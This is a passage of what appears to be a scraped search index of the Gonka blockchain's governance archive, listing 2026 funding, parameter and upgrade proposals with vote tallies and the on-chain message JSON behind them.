970,000 GNK · Community PoolView on gonka.gg
This proposal seeks community approval for a global media initiative to build awareness of decentralized AI and position Gonka as core AI infrastructure.
Key elements: Led by TheSoul Group (full-cycle production + global distribution) YouTube-led media ecosystem + multi-platform distribution Educational, community, and ecosystem content Goal: explain risks of centralized AI and benefits of decentralization
Projected results: ~1,000 publications per year Up to 400M views ~140K subscribers in year one
Budget: GNK 970,000 per year Timeline: setup -> launch -> full scale (3 months)
Full presentation: https://www.canva.com/design/DAG5x5pF3M4/VycFkb80_elACWPiaNMOQg/view
"}, {"location": "proposals/proposals/2026-q1/35/#final-tally", "title": "Final Tally", "text": "Yes 9,150 (25.5%) No 10,325 (28.8%) Veto 2,450 (6.8%) Abstain 13,939 (38.9%) Total 35,864 votes"}, {"location": "proposals/proposals/2026-q1/35/#messages", "title": "Messages", "text": "# Type 1/cosmos.distribution.v1beta1.MsgCommunityPoolSpend Contract Details [\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka1ls44amlsum476ajg48dzq09uh9am8rg8qdl2q4r03h75ujfk2t0stkevej\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"970000000000000\"\n }\n ]\n }\n]\nPassed Rejected Voting With Funding
2026-Q244 proposals
#79 – Add Kimi K2.6 and GLM 5.2 model Passed Submitted 2026-06-26 Voting ends 2026-06-26 Add Kimi K2.6 and GLM 5.2 model Yes 330,364 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #78 – Governance 17: update PoC model lineup Passed Submitted 2026-06-25 Voting ends 2026-06-25 Set delegation initial_model_id to MiniMaxAI/MiniMax-M2.7, keep only MiniMaxAI/MiniMax-M2.7 in PoC params, remove Qwen/Qwen3-235B-A22B-Instruct-2507-FP8, moonshotai/Kimi-K2.6 from PoC params, and dele… Yes 255,215 (97.1%) · No 170 (0.1%) · Veto 0 (0.0%) · Abstain 7,390 (2.8%) #77 – Gonka PR Proposal for US/Global Regions Passed Submitted 2026-06-24 Voting ends 2026-06-26 We are INPUT Global - a leading web3 marketing communications agency. We offer 3 month PR campaign to establish trust and market legitimacy of Gonka across 2 audiences: global business and crypto-nati… Yes 152,042 (100.0%) · No 71 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%)$75,000 · Community Pool #76 – Governance 16: devshard v2 and bounty payouts Passed Submitted 2026-06-15 Voting ends 2026-06-17 Register devshard approved version v2. Yes 239,924 (100.0%) · No 17 (0.0%) · Veto 0 (0.0%) · Abstain 16 (0.0%)$93,600 · Community Pool #75 – Private Inc × Gonka — Network Growth Initiative Rejected Submitted 2026-06-13 Voting ends 2026-06-15 IMPORTANT: Below is a condensed version of the proposal. It highlights only the key points and does not disclose all details of the initiative, implementation mechanics, KPIs, or terms. It is strongly… #74 – Gonka Labs: Maintaining Infrastructure, Improving Products, and Launching New Ones Passed Submitted 2026-06-10 Voting ends 2026-06-12 Full proposal: https://gonkalabs.com/proposal This proposal funds the next six months of work for the Gonka ecosystem. The focus is production-grade infrastructure and high-use products: Gonka.gg V2… Yes 305,163 (79.6%) · No 3,791 (1.0%) · Veto 15 (0.0%) · Abstain 74,304 (19.4%)$70,000 · Community Pool · 330,000 GNK · Gov Module #73 – Increase minimum governance deposit to 500 GNK and expedited minimum deposit to 1000 GNK Passed Submitted 2026-06-10 Voting ends 2026-06-12 Increase the minimum deposit required to submit a governance proposal to 500 GNK (500,000,000,000 ngonka) and expedited minimum deposit to 1000 GNK (1,000,000,000,000 ngonka). This resubmits proposal … Yes 295,843 (96.3%) · No 40 (0.0%) · Veto 572 (0.2%) · Abstain 10,823 (3.5%) #72 – Open devshard escrow creation to community wallet gonka1afj0tz53z56zngs425m83vxl5y2xmwm692hfrn Rejected Submitted 2026-06-10 Voting ends 2026-06-12 Adds a community-operated wallet to devshard_escrow_params.allowed_creator_addresses, enabling it to create a devshard escrow and operate as an additional self-hosted inference gateway/transfer agent.… Yes 5,337 (2.2%) · No 7,953 (3.3%) · Veto 221,234 (90.7%) · Abstain 9,421 (3.9%) #71 – Gonka PR Proposal for US/Global Regions Rejected Submitted 2026-06-08 Voting ends 2026-06-10 We're a comms team specializing in Organic PR for crypto and tech projects. With strong competition in the space and no active events or marketing currently running for Gonka, we propose a 3-month Org… Yes 180,108 (99.8%) · No 72 (0.0%) · Veto 0 (0.0%) · Abstain 233 (0.1%)$75,000 · Community Pool #70 – GNK Racers: Launch GameFi Mini-App to Drive User Growth & Wallet Activity Rejected Submitted 2026-06-06 Voting ends 2026-06-08 Release 246,000 GNK from Community Fund to finalize GNK Racers — a multiplayer side-view racing mini-app with a live working prototype (@GNKRacers_bot). The game drives new user acquisition, wallet ac… Yes 38,621 (25.0%) · No 107,644 (69.6%) · Veto 6,241 (4.0%) · Abstain 2,245 (1.5%)246,000 GNK · Community Pool #69 – Increase minimum governance deposit to 500 GNK Failed Submitted 2026-06-05 Voting ends 2026-06-07 Increase the minimum deposit required to submit a governance proposal from the current value to 500 GNK. Also sets expedited minimum deposit to 1000 GNK. Yes 199,799 (96.9%) · No 46 (0.0%) · Veto 4,202 (2.0%) · Abstain 2,210 (1.1%) #68 – Big YouTube Deep-Dive on Falcon Finance (Alexander Sokolovsky) Passed Submitted 2026-06-05 Voting ends 2026-06-07 The proposal is reopened for voting at the initiative of several hosts who did not participate in the previous round. • There are no changes to the substance of the proposal; only timeline commitment… Yes 260,353 (96.4%) · No 749 (0.3%) · Veto 6,288 (2.3%) · Abstain 2,546 (0.9%)$70,000 · Community Pool #67 – Kimi Restitution (epochs 265-276) Passed Submitted 2026-06-03 Voting ends 2026-06-05 Distribute restitution for Kimi operators across epochs 265-276. Epochs 265-266: external attack causing CPoC degradation and nonce exclusion. Epochs 267-276: ComputeGroupCap systematic underpayment d… Yes 319,920 (78.9%) · No 150 (0.0%) · Veto 84,623 (20.9%) · Abstain 744 (0.2%)946,509 GNK · Gov Module #66 – test proposal - 测试方案 Rejected Submitted 2026-06-03 Voting ends 2026-06-05 test proposal - 测试方案 #65 – TheSoul - Offer 2.3: Digital strategy (100,000 GNK) Passed Submitted 2026-06-02 Voting ends 2026-06-04 Full 360-degree digital and social strategy for Gonka.AI: channel matrix, content plan, segment messaging, social strategy, and brand-voice guidelines. Single-tranche payment of 100,000 GNK to TheSoul… Yes 220,798 (67.9%) · No 0 (0.0%) · Veto 70,043 (21.5%) · Abstain 34,369 (10.6%)100,000 GNK · Community Pool #64 – TheSoul - Offer 2.2: Analytics and attribution (28,000 GNK) Passed Submitted 2026-06-02 Voting ends 2026-06-04 Web analytics, attribution, and funnel dashboarding for Gonka.AI: GA4 implementation, UTM taxonomy, event tracking, and conversion reporting. Single-tranche payment of 28,000 GNK to TheSoul on proposa… Yes 220,798 (67.9%) · No 0 (0.0%) · Veto 70,043 (21.5%) · Abstain 34,369 (10.6%)28,000 GNK · Community Pool #63 – TheSoul - Offer 2.1: Website and landings (10,000 USDT) Passed Submitted 2026-06-02 Voting ends 2026-06-04 Full redesign of gonka.ai plus dedicated landing pages for miners, inference buyers, and investors, built on the brandbook from Offer 1.2. Single-tranche payment of 10,000 USDT to TheSoul on proposal … Yes 220,798 (67.9%) · No 0 (0.0%) · Veto 70,043 (21.5%) · Abstain 34,369 (10.6%)$10,000 · Community Pool #62 – TheSoul - Offer 1.3: Influencer pilot (50,000 USDT) Passed Submitted 2026-06-02 Voting ends 2026-06-04 Crypto-influencer pilot campaign for Gonka.AI across selected tier-1 creators, with a full performance report and scaling recommendations. Single-tranche payment of 50,000 USDT to TheSoul on proposal … Yes 220,798 (67.9%) · No 0 (0.0%) · Veto 70,043 (21.5%) · Abstain 34,369 (10.6%)$50,000 · Community Pool #61 – TheSoul - Offer 1.2: Brandbook (20,000 USDT) Passed Submitted 2026-06-02 Voting ends 2026-06-04 Brand identity system for Gonka.AI: logo, typography, color system, graphic language, layout principles, and templates, built on the positioning from Offer 1.1. Single-tranche payment of 20,000 USDT t… Yes 220,798 (67.9%) · No 0 (0.0%) · Veto 70,043 (21.5%) · Abstain 34,369 (10.6%)$20,000 · Community Pool #60 – TheSoul - Offer 1.1: Brand positioning (25,000 USDT) Passed Submitted 2026-06-02 Voting ends 2026-06-04 Brand audit, competitive positioning, and audience segmentation for Gonka.AI. Single-tranche payment of 25,000 USDT to TheSoul on proposal pass. Full offer document: see the metadata URL. Yes 220,798 (67.9%) · No 0 (0.0%) · Veto 70,043 (21.5%) · Abstain 34,369 (10.6%)$25,000 · Community Pool #59 – Gonka Onboarding Video Guide — Milestone 1 (Prepayment) Rejected Submitted 2026-05-31 Voting ends 2026-06-02 Funds milestone 1 (upfront prepayment) of a community-produced onboarding video guide for Gonka. Deliverable: a series of ~15 short, interactive, easy-to-follow videos covering A-to-Z onboarding for b… Yes 24,505 (43.6%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 31,699 (56.4%)$5,000 · Community Pool #58 – Big YouTube Deep-Dive on Falcon Finance (Alexander Sokolovsky) Rejected Submitted 2026-05-28 Voting ends 2026-05-30 # Big YouTube Deep-Dive on Falcon Finance (Alexander Sokolovsky) 70,000 USDT from the CommunityPool for a dedicated Falcon Finance deep-dive on Gonka AI. Full proposal: https://vote.gonka.vip/tenders… Yes 98,018 (53.4%) · No 0 (0.0%) · Veto 85,697 (46.6%) · Abstain 0 (0.0%)$70,000 · Community Pool #57 – Approve the Gonka Network Development Roadmap Passed Submitted 2026-05-28 Voting ends 2026-05-30 This proposal approves the Gonka Network Development Roadmap as a strategic direction document for Gonka's future development tracks. If approved, the roadmap should become the shared vision for Gonk… Yes 257,150 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #56 – INC4 | Gonka NOP - grant for the node deployment tool Rejected Submitted 2026-05-25 Voting ends 2026-05-27 # Gonka NOP: grant for the node deployment tool 50,000 USDT from the CommunityPool to INC4 Full proposal: https://github.com/gonka-ai/gonka/discussions/1192 ## What it is gonka-nop (Node Onboarding… Yes 31,851 (58.6%) · No 9,566 (17.6%) · Veto 12,961 (23.8%) · Abstain 0 (0.0%)$50,000 · Community Pool #55 – GRC Proposal #2 - Restitution (epochs 248-254) Passed Submitted 2026-05-21 Voting ends 2026-05-23 Distribute restitution for Cases 2, 3, and 4 across epochs 248-254. Case 2: preserver weight double-scaling bug (epochs 249-253). Case 3: epoch loss restitution: broad epoch losses, consecutive failur… Yes 188,670 (61.2%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 119,835 (38.8%)39,722 GNK · Community Pool · 306,307 GNK · Gov Module #54 – Upgrade Proposal: v0.2.13 Passed Submitted 2026-05-20 Voting ends 2026-05-22 Upgrade Proposal: v0.2.13 Yes 228,216 (62.8%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 135,071 (37.2%) #53 – INC4 | Gonka NOP - grant for the node deployment tool Rejected Submitted 2026-05-19 Voting ends 2026-05-21 # Gonka NOP: grant for the node deployment tool 50,000 USDT from the CommunityPool to INC4 Full proposal: https://github.com/gonka-ai/gonka/discussions/1192 ## What it is gonka-nop (Node Onboarding… Yes 139,052 (46.8%) · No 0 (0.0%) · Veto 158,195 (53.2%) · Abstain 0 (0.0%)$50,000 · Community Pool #52 – Upgrade Proposal: v0.2.13 Rejected Submitted 2026-05-15 Voting ends 2026-05-17 Upgrade Proposal: v0.2.13 Yes 88,420 (34.1%) · No 0 (0.0%) · Veto 170,799 (65.9%) · Abstain 0 (0.0%) #51 – Support Gonka's presence at WebX Asia Passed Submitted 2026-05-13 Voting ends 2026-05-15 6Block, a long-term Gonka mining and infrastructure participant, proposes that the Gonka community allocate 75,000 USDT to support Gonka's participation at WebX Asia / WebX 2026 in Tokyo. 6Block has a… Yes 395,003 (62.8%) · No 1,767 (0.3%) · Veto 64,217 (10.2%) · Abstain 168,275 (26.7%)$75,000 · Community Pool #50 – Retroactive bounty: open-source PoC throughput optimization (+10–12% measured) with 250 total installations Passed Submitted 2026-05-07 Voting ends 2026-05-09 Retroactive 20K GNK bounty for an open-sourced PoC optimization measuring +10.2% on B200 and +12.5% on H100 with Qwen3-235B-FP8. One-line patch, verified on-chain by independent miners. Details: https… Yes 281,723 (59.1%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 194,589 (40.9%)20,000 GNK · Community Pool #49 – Gonka Media Dominance in TechL/AI with 5 AI Influencers Passed Submitted 2026-05-05 Voting ends 2026-05-07 We're ICG - AI Influencer Lab, a team that builds and scales hyper-realistic AI avatars on Instagram, TikTok, and YouTube as full ambassadors across verticals. We manage 160+ accounts in AI, finance, … Yes 496,683 (71.1%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 201,560 (28.9%)$45,000 · Community Pool #48 – Lower Direct Participation Threshold to 10% Passed Submitted 2026-05-05 Voting ends 2026-05-05 During the Kimi-K2.6 bootstrap, the 30% direct participation threshold proved hard to meet. To avoid the risk of Kimi-K2.6 becoming ineligible in a future epoch and to simplify onboarding of further m… Yes 808,529 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #47 – Retroactive bounty: open-source PoC throughput optimization (+10–12% measured) with 250 total installations Rejected Submitted 2026-05-04 Voting ends 2026-05-06 Retroactive 20K GNK bounty for an open-sourced PoC optimization measuring +10.2% on B200 and +12.5% on H100 with Qwen3-235B-FP8. One-line patch, verified on-chain by independent miners. Details: https… Yes 70,819 (33.6%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 139,828 (66.4%)20,000 GNK · Community Pool #46 – Epochs 132-247 compensation payout from gov module (batch vesting) Passed Submitted 2026-05-02 Voting ends 2026-05-04 Two prior upgrades changed the lifecycle of unpaid miner rewards. v0.2.9 (proposal #26, 2026-02-01): when a participant is penalized during cPoC validation, the unaccounted portion of their epoch rewa… Yes 97,030 (36.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 172,837 (64.0%)3,053,800 GNK · Gov Module #45 – Governance Architecture Proposal for the Gonka.ai Network Rejected Submitted 2026-04-29 Voting ends 2026-05-01 Replace scattered governance discussions and complex CLI voting with a unified Governance Portal - a single interface for all Gonka governance activity. The portal includes: a proposal feed across Dis… Yes 118,126 (25.6%) · No 0 (0.0%) · Veto 210,906 (45.6%) · Abstain 133,057 (28.8%)119,000 GNK · Community Pool #44 – Upgrade Proposal: v0.2.12 Passed Submitted 2026-04-28 Voting ends 2026-04-30 Upgrade Proposal: v0.2.12 Yes 506,142 (99.6%) · No 2,057 (0.4%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #43 – Governance Architecture Proposal for the Gonka.ai Network Rejected Submitted 2026-04-25 Voting ends 2026-04-27 Today, participating in Gonka governance requires following multiple channels simultaneously — GitHub, Discord, CLI — just to cast a single vote. Most miners miss proposals entirely or vote too late. … Yes 123,104 (26.5%) · No 335,534 (72.2%) · Veto 5,913 (1.3%) · Abstain 0 (0.0%)104,166 GNK · Community Pool #42 – Support Gonka at Global Compute Sovereignty Summit Passed Submitted 2026-04-17 Voting ends 2026-04-19 We are DeAI Nation, a global nonprofit organization supporting and promoting the decentralized AI ecosystem, and authors of the State of DeAI 2026 report. We propose that the Gonka community become a … Yes 375,771 (68.6%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 172,050 (31.4%)$10,000 · Community Pool #41 – INC4 | Gonka Node Observability Platform Rejected Submitted 2026-04-16 Voting ends 2026-04-18 Today's explorers and dashboards only show on-chain data, leaving the off-chain state of validators completely opaque. The few operators who do run their own monitoring use different tools, different … Yes 17,955 (57.1%) · No 13,494 (42.9%) · Veto 0 (0.0%) · Abstain 0 (0.0%)$96,000 · Community Pool #40 – Governance: extend voting period to 48 hours Passed Submitted 2026-04-13 Voting ends 2026-04-14 This proposal updates x/gov: the standard voting period becomes 48 hours (was 24), and the expedited voting period becomes 12 hours (was 3). All other governance parameters remain at their current on-… Yes 377,158 (57.7%) · No 0 (0.0%) · Veto 12,030 (1.8%) · Abstain 264,790 (40.5%) #39 – Community Series Film — Why Gonka Exists Passed Submitted 2026-04-09 Voting ends 2026-04-10 Saccade Media House is a creative team of tech entrepreneurs who know how to tell stories. We've built content for international tech brands and the founders behind them. We propose a Community Series… Yes 394,971 (76.0%) · No 183 (0.0%) · Veto 0 (0.0%) · Abstain 124,587 (24.0%)31,250 GNK · Community Pool #38 – CryptoCommons: Community Support & Token Promotion Plan Rejected Submitted 2026-04-08 Voting ends 2026-04-09 If you agree say YES — Solution 1: Produce a short review video with 1-2 active community members. Solution 2: Introduce the project to BD managers of major CIS exchanges for listings. Solution 3 (Reg… Yes 0 (0.0%) · No 183 (2.3%) · Veto 7,893 (97.7%) · Abstain 0 (0.0%)20,000 GNK · Community Pool · 25,000 GNK · Gov Module #37 – What is your stance on MLM projects around gonka.ai? Rejected Submitted 2026-04-07 Voting ends 2026-04-08 If you are against MLM projects around gonka.ai, vote YES. All funds will be used to counter such projects. The amount is symbolic. Yes 957 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%)1 GNK · Community Pool #36 – Register Kava USDT IBC metadata and approve for trading Passed Submitted 2026-04-01 Voting ends 2026-04-02 Register IBC token metadata and approve the denomination for trading on Gonka mainnet. Yes 421,414 (99.6%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 1,788 (0.4%)← Back to all proposals
"}, {"location": "proposals/proposals/2026-q2/#2026-q2-summary", "title": "2026-Q2 Summary", "text": "44Total Proposals 27Passed (61%) 16Rejected (36%) 1Failed (2%) Funding / Grants29 Governance Parameters8 Software Upgrade3 GRC / Restitution2 Other1 Models / IBC1 218,972 GNK · $543,600 · Community Pool · 4,636,616 GNK · Gov Module"}, {"location": "proposals/proposals/2026-q2/36/", "title": "#36 – Register Kava USDT IBC metadata and approve for trading", "text": "Passed
Proposal ID: 36
Type: Approve Ibc Token For Trading, Register Ibc Token Metadata
Submit: 2026-04-01 18:03 UTC
Voting: 2026-04-01 18:03 UTC → 2026-04-02 18:03 UTC
Proposer: gonka1m9sf2rpg635efaw59djqlxkqew9sxvmqd6g343
View on gonka.gg
Register IBC token metadata and approve the denomination for trading on Gonka mainnet.
"}, {"location": "proposals/proposals/2026-q2/36/#final-tally", "title": "Final Tally", "text": "Yes 421,414 (99.6%) No 0 (0.0%) Veto 0 (0.0%) Abstain 1,788 (0.4%) Total 423,202 votes"}, {"location": "proposals/proposals/2026-q2/36/#messages", "title": "Messages", "text": "# Type 1/inference.inference.MsgRegisterIbcTokenMetadata 2 /inference.inference.MsgApproveIbcTokenForTrading Contract Details [\n {\n \"@type\": \"/inference.inference.MsgRegisterIbcTokenMetadata\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"chainId\": \"kava_2222-10\",\n \"ibcDenom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"name\": \"USDT\",\n \"symbol\": \"USDT\",\n \"decimals\": 6,\n \"overwrite\": true\n },\n {\n \"@type\": \"/inference.inference.MsgApproveIbcTokenForTrading\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"chainId\": \"kava_2222-10\",\n \"ibcDenom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\"\n }\n]\nRejected
Proposal ID: 37
Type: Community Pool Spend
Submit: 2026-04-07 19:51 UTC
Voting: 2026-04-07 19:51 UTC → 2026-04-08 19:51 UTC
Proposer: gonka1ry4uzczgu7xxusa5whl387dd5alr7737spd0v2
Metadata: https://gonka.ai
Failed reason: proposal did not get enough votes to pass
1 GNK · Community PoolView on gonka.gg
If you are against MLM projects around gonka.ai, vote YES. All funds will be used to counter such projects. The amount is symbolic.
"}, {"location": "proposals/proposals/2026-q2/37/#final-tally", "title": "Final Tally", "text": "Yes 957 (100.0%) No 0 (0.0%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 957 votes"}, {"location": "proposals/proposals/2026-q2/37/#messages", "title": "Messages", "text": "# Type 1/cosmos.distribution.v1beta1.MsgCommunityPoolSpend Contract Details [\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka1ry4uzczgu7xxusa5whl387dd5alr7737spd0v2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1000000000\"\n }\n ]\n }\n]\nRejected
Proposal ID: 38
Type: Batch Transfer With Vesting, Community Pool Spend
Submit: 2026-04-08 19:24 UTC
Voting: 2026-04-08 19:24 UTC → 2026-04-09 19:24 UTC
Proposer: gonka1kk4a0kuc6uh5yrlfqe2ehuq6a4v7vcxx8fvxxr
Metadata: https://discord.com/channels/1336477374442770503/1425189436748206171/1481942972055552041
Failed reason: proposal did not get enough votes to pass
20,000 GNK · Community Pool · 25,000 GNK · Gov ModuleView on gonka.gg
If you agree say YES — Solution 1: Produce a short review video with 1-2 active community members. Solution 2: Introduce the project to BD managers of major CIS exchanges for listings. Solution 3 (Regulatory safety): To avoid future regulatory risks, we will run regular token drops
"}, {"location": "proposals/proposals/2026-q2/38/#final-tally", "title": "Final Tally", "text": "Yes 0 (0.0%) No 183 (2.3%) Veto 7,893 (97.7%) Abstain 0 (0.0%) Total 8,076 votes"}, {"location": "proposals/proposals/2026-q2/38/#messages", "title": "Messages", "text": "# Type 1/inference.streamvesting.MsgBatchTransferWithVesting 2 /cosmos.distribution.v1beta1.MsgCommunityPoolSpend Contract Details [\n {\n \"@type\": \"/inference.streamvesting.MsgBatchTransferWithVesting\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"outputs\": [\n {\n \"recipient\": \"gonka1lqjjgnme3ayk2q0w8thxnhx69l639dtz9j3r2l\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"25000000000000\"\n }\n ]\n }\n ],\n \"vesting_epochs\": \"180\"\n },\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka1lqjjgnme3ayk2q0w8thxnhx69l639dtz9j3r2l\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"20000000000000\"\n }\n ]\n }\n]\nPassed
Proposal ID: 39
Type: Community Pool Spend
Submit: 2026-04-09 13:33 UTC
Voting: 2026-04-09 13:33 UTC → 2026-04-10 13:33 UTC
Proposer: gonka1snq0m4rdvq0sswm03r5jsmtzw3p384qsy3l4t4
Metadata: https://miro.com/app/board/uXjVG6L2uvQ=/
31,250 GNK · Community PoolView on gonka.gg
Saccade Media House is a creative team of tech entrepreneurs who know how to tell stories. We've built content for international tech brands and the founders behind them. We propose a Community Series — a film about why Gonka exists and who stands behind it. The goal: a viewer walks away thinking — \"this is something real, I want to be part of it.\" Timeline: 30–35 days, Cinematic approach. Duration: 7–10 minutes. Budget: 31,250 GNK. We believe AI content overload will trigger a quality Renaissance. We build for the ones who stay. After the first film, we'll invite the community to a creative session — to define the priority audience and shape the top 3 narrative themes for what comes next. Before you vote — we made something for you: an awareness video, three shorts as a gift, and a full breakdown of our approach. Link: https://miro.com/app/board/uXjVG6L2uvQ=/
"}, {"location": "proposals/proposals/2026-q2/39/#final-tally", "title": "Final Tally", "text": "Yes 394,971 (76.0%) No 183 (0.0%) Veto 0 (0.0%) Abstain 124,587 (24.0%) Total 519,741 votes"}, {"location": "proposals/proposals/2026-q2/39/#messages", "title": "Messages", "text": "# Type 1/cosmos.distribution.v1beta1.MsgCommunityPoolSpend Contract Details [\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka1snq0m4rdvq0sswm03r5jsmtzw3p384qsy3l4t4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"31250000000000\"\n }\n ]\n }\n]\nPassed
Proposal ID: 40
Type: Update Params
Submit: 2026-04-13 06:11 UTC
Voting: 2026-04-13 06:11 UTC → 2026-04-14 06:11 UTC
Proposer: gonka1k6p754pyhxud2399knyccgjpjvdafj2u9xlgyf
View on gonka.gg
This proposal updates x/gov: the standard voting period becomes 48 hours (was 24), and the expedited voting period becomes 12 hours (was 3). All other governance parameters remain at their current on-chain values.
"}, {"location": "proposals/proposals/2026-q2/40/#final-tally", "title": "Final Tally", "text": "Yes 377,158 (57.7%) No 0 (0.0%) Veto 12,030 (1.8%) Abstain 264,790 (40.5%) Total 653,978 votes"}, {"location": "proposals/proposals/2026-q2/40/#messages", "title": "Messages", "text": "# Type 1/cosmos.gov.v1.MsgUpdateParams Contract Details [\n {\n \"@type\": \"/cosmos.gov.v1.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"min_deposit\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"25000000\"\n }\n ],\n \"max_deposit_period\": \"86400s\",\n \"voting_period\": \"172800s\",\n \"quorum\": \"0.334000000000000000\",\n \"threshold\": \"0.500000000000000000\",\n \"veto_threshold\": \"0.334000000000000000\",\n \"min_initial_deposit_ratio\": \"0.000000000000000000\",\n \"proposal_cancel_ratio\": \"0.500000000000000000\",\n \"proposal_cancel_dest\": \"\",\n \"expedited_voting_period\": \"43200s\",\n \"expedited_threshold\": \"0.667000000000000000\",\n \"expedited_min_deposit\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"50000000\"\n }\n ],\n \"burn_vote_quorum\": false,\n \"burn_proposal_deposit_prevote\": false,\n \"burn_vote_veto\": true,\n \"min_deposit_ratio\": \"0.010000000000000000\"\n }\n }\n]\nRejected
Proposal ID: 41
Type: Community Pool Spend
Submit: 2026-04-16 18:42 UTC
Voting: 2026-04-16 18:42 UTC → 2026-04-18 18:42 UTC
Proposer: gonka12ss9dh7fj3xxmk23s8aje4hrpqq669u20v3ja6
Metadata: https://github.com/gonka-ai/gonka/discussions/1085
Failed reason: proposal did not get enough votes to pass
$96,000 · Community PoolView on gonka.gg
Today's explorers and dashboards only show on-chain data, leaving the off-chain state of validators completely opaque. The few operators who do run their own monitoring use different tools, different metrics, and different baselines, leading to different interpretations and making it harder to coordinate when problems arise. The network lacks a single source of truth and a common framework for measuring validator health.
Even today, simply watching how validators operate reveals that many are not reacting to technical problems in time — growing Inference Miss Rates, dropping CPoC Ratios, network sync falling behind. These patterns persist because operators have no way to see the early warning signs or get emergency alerts inside their own infrastructure.
To address this, INC4 — an active Gonka validator operator with hands-on experience in blockchain infrastructure and observability — proposes the creation of the Gonka Node Observability Platform — an open-source, opt-in observability stack that aggregates off-chain metrics from Network nodes and ML nodes into a shared, publicly accessible dashboard. The platform is deployed on independent cloud infrastructure — without using resources of any individual validator or granting anyone privileged access — so that all operators have equal access and visibility into the data.
For the Core Team — a unified view of the entire network, visibility into problematic nodes and time periods, data for informed protocol decisions, SLA reports, and the ability to assess the scope of network-wide issues before and after upgrades. For Individual Validators — real-time alerts, performance comparison against network averages, opt-in log sharing to get help with troubleshooting and metrics interpretation, and no need to build your own monitoring stack.
Detecting and preventing even a single major network-wide incident, or a series of smaller incidents at individual validators, can save the ecosystem far more than the annual cost of this platform. The primary beneficiaries are the validator operators themselves, who bear the direct cost of every missed epoch and every hour of undiagnosed downtime — especially individual hosts without dedicated DevOps staff, for whom building and maintaining a comparable monitoring stack on their own is simply not feasible.
We request 96K in USDT over 12 months, paid in quarterly tranches, to deploy and maintain a production-grade observability platform — custom Gonka exporters, fleet-wide and individual dashboards, opt-in log aggregation, external endpoint health checks, alerting and SLA reporting, hands-on validator onboarding, incident response support, and ongoing operational maintenance. All code, configurations, and dashboards will be open-source and published in public GitHub repositories.
Full proposal and discussion: https://github.com/gonka-ai/gonka/discussions/1085
"}, {"location": "proposals/proposals/2026-q2/41/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2026-q2/41/#gonka-node-observability-platform", "title": "Gonka Node Observability Platform", "text": "Proposal by INC4 (https://inc4.net) | 16 April 2026
Funding Request: \\$96,000 USD (USDT) for 12 months
"}, {"location": "proposals/proposals/2026-q2/41/#table-of-contents", "title": "Table of Contents", "text": "Today's explorers and dashboards only show on-chain data, leaving the off-chain state of validators completely opaque. The few operators who do run their own monitoring use different tools, different metrics, and different baselines, leading to different interpretations and making it harder to coordinate when problems arise. The network lacks a single source of truth and a common framework for measuring validator health.
Even today, simply watching how validators operate reveals that many are not reacting to technical problems in time — growing Inference Miss Rates, dropping CPoC Ratios, network sync falling behind. These patterns persist because operators have no way to see the early warning signs or get emergency alerts inside their own infrastructure.
To address this, INC4 — an active Gonka validator operator with hands-on experience in blockchain infrastructure and observability — proposes the creation of the Gonka Node Observability Platform — an open-source, opt-in observability stack that aggregates off-chain metrics from Network nodes and ML nodes into a shared, publicly accessible dashboard. The platform is deployed on independent cloud infrastructure — without using resources of any individual validator or granting anyone privileged access — so that all operators have equal access and visibility into the data.
For the Core Team — a unified view of the entire network, visibility into problematic nodes and time periods, data for informed protocol decisions, SLA reports, and the ability to assess the scope of network-wide issues before and after upgrades. For Individual Validators — real-time alerts, performance comparison against network averages, opt-in log sharing to get help with troubleshooting and metrics interpretation, and no need to build your own monitoring stack.
